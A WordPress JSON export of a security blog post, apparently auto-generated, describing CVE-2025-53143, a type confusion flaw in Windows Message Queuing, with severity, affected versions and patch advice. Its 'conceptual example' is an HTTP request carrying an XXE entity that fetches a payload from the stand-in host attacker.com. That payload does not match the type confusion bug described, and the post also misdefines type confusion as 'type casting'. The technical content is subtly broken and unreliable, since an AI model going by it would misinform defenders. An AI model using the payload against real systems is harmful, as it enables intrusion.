{"id":64191,"date":"2025-08-20T12:05:30","date_gmt":"2025-08-20T12:05:30","guid":{"rendered":""},"modified":"2025-10-22T19:05:56","modified_gmt":"2025-10-23T01:05:56","slug":"cve-2025-53143-type-confusion-vulnerability-in-windows-message-queuing","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-53143-type-confusion-vulnerability-in-windows-message-queuing\/","title":{"rendered":"<strong>CVE-2025-53143: Type Confusion Vulnerability in Windows Message Queuing<\/strong>"},"content":{"rendered":"<p><strong>Overview<\/strong><\/p>\n<p>In the ever-evolving landscape of cyber threats, a significant vulnerability has been discovered in Windows Message Queuing. Identified as CVE-2025-53143, this vulnerability can potentially enable an authorized attacker to execute arbitrary code over a network, leading to system compromise or data leakage. This <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-33075-a-critical-windows-installer-vulnerability-that-leads-to-privilege-elevation\/\"  data-wpil-monitor-id=\"72363\">vulnerability affects a wide range of Windows<\/a> operating systems and is particularly concerning due to the high CVSS Severity Score of 8.8, indicating its high risk potential.<\/p>\n<p><strong>Vulnerability Summary<\/strong><\/p>\n<p>CVE ID: CVE-2025-53143<br \/>\nSeverity: High (8.8 CVSS Severity Score)<br \/>\nAttack Vector: Network<br \/>\nPrivileges Required: Low<br \/>\nUser Interaction: Required<br \/>\nImpact: <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-50160-heap-based-buffer-overflow-in-windows-rras-posing-system-compromise-risk\/\"  data-wpil-monitor-id=\"78481\">System compromise<\/a>, potential data leakage<\/p>\n<p><strong>Affected Products<\/strong><\/p><div id=\"ameeb-3399291843\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 700px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 20px; font-weight: 600; display: flex; align-items: center;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 8px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 40px; height: 40px;\" \/>\r\n    <\/a>\r\n    A new way to communicate\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 12px;\">\r\n    Ameeba Chat is built on encrypted identity, not personal profiles.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 16px;\">\r\n    Message, call, share files, and coordinate with identities kept separate.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 20px;\">\r\n    <li>\u2022 Encrypted identity<\/li>\r\n    <li>\u2022 Ameeba Chat authenticates access<\/li>\r\n    <li>\u2022 Aliases and categories<\/li>\r\n    <li>\u2022 End-to-end encrypted chat, calls, and files<\/li>\r\n    <li>\u2022 Secure notes for sensitive information<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px;\">\r\n    Private communication, rethought.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Download Ameeba Chat<\/a>\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Learn More<\/a>\r\n  <\/div>\r\n<\/div>\r\n<\/div>\n<p>Product | Affected Versions<\/p>\n<p><a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-8088-path-traversal-vulnerability-in-windows-version-of-winrar\/\"  data-wpil-monitor-id=\"78654\">Windows 10 | All versions<\/a><br \/>\nWindows Server 2016 | All versions<br \/>\nWindows Server 2019 | All versions<\/p>\n<p><strong>How the Exploit Works<\/strong><\/p>\n<p>The vulnerability, CVE-2025-53143, is a <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-48815-windows-ssdp-service-type-confusion-vulnerability\/\"  data-wpil-monitor-id=\"78143\">type confusion<\/a> issue. <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-53144-critical-type-confusion-vulnerability-in-windows-message-queuing\/\"  data-wpil-monitor-id=\"78215\">Type confusion<\/a>, also known as type casting, refers to the access of a resource using an incompatible type. In a typical scenario, an attacker sends a specially crafted message to the victim&#8217;s machine. The message targets the <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-53145-type-confusion-vulnerability-in-windows-message-queuing-allowing-remote-code-execution\/\"  data-wpil-monitor-id=\"78184\">Windows Message Queuing<\/a> component, tricking it into processing the message as a different type than intended. This can cause the application to crash or, in more severe cases, allow the attacker to execute arbitrary code, <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-49691-heap-based-buffer-overflow-in-windows-media-leading-to-potential-system-compromise\/\"  data-wpil-monitor-id=\"72181\">potentially leading to system<\/a> compromise or data leakage.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-728352163\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>Here&#8217;s a conceptual example of how this vulnerability might be exploited. The attacker crafts a malicious payload in a message and sends it to the victim&#8217;s machine:<\/p>\n<pre><code class=\"\" data-line=\"\">POST \/MSMQ\/Queue HTTP\/1.1\nHost: target.example.com\nContent-Type: application\/xml\n{ &quot;malicious_payload&quot;: &quot;&lt;!DOCTYPE foo [&lt;!ELEMENT foo ANY &gt;&lt;!ENTITY xxe SYSTEM \\&quot;http:\/\/attacker.com\/malicious_payload\\&quot;&gt;]&gt;&lt;foo&gt;&amp;xxe;&lt;\/foo&gt;&quot; }<\/code><\/pre>\n<p>In this example, the &#8216;malicious_payload&#8217; is designed to exploit the type confusion <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2024-13974-high-risk-business-logic-vulnerability-in-up2date-component-of-sophos-firewall\/\"  data-wpil-monitor-id=\"73891\">vulnerability in the Windows Message Queuing component<\/a>, potentially causing a variety of harmful effects.<\/p>\n<p><strong>Recommendations<\/strong><\/p>\n<p>It is strongly recommended to apply the vendor-provided patch immediately. In addition, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation. As always, ensure that your <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-7093-critical-vulnerability-in-belkin-f9k1122-1-00-33-impacting-system-security-and-data-integrity\/\"  data-wpil-monitor-id=\"91208\">systems are regularly updated and that security<\/a> best practices are followed to minimize the risk of exploitation.<br \/>\nStay safe and secure by being vigilant and proactive in the face of these evolving cyber threats.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview In the ever-evolving landscape of cyber threats, a significant vulnerability has been discovered in Windows Message Queuing. Identified as CVE-2025-53143, this vulnerability can potentially enable an authorized attacker to execute arbitrary code over a network, leading to system compromise or data leakage. This vulnerability affects a wide range of Windows operating systems and is [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"footnotes":""},"categories":[1],"tags":[],"vendor":[82],"product":[],"attack_vector":[],"asset_type":[],"severity":[],"exploit_status":[],"class_list":["post-64191","post","type-post","status-publish","format-standard","hentry","category-uncategorized","vendor-microsoft"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/64191","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/comments?post=64191"}],"version-history":[{"count":9,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/64191\/revisions"}],"predecessor-version":[{"id":84227,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/64191\/revisions\/84227"}],"wp:attachment":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/media?parent=64191"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/categories?post=64191"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/tags?post=64191"},{"taxonomy":"vendor","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/vendor?post=64191"},{"taxonomy":"product","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/product?post=64191"},{"taxonomy":"attack_vector","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/attack_vector?post=64191"},{"taxonomy":"asset_type","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/asset_type?post=64191"},{"taxonomy":"severity","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/severity?post=64191"},{"taxonomy":"exploit_status","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/exploit_status?post=64191"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}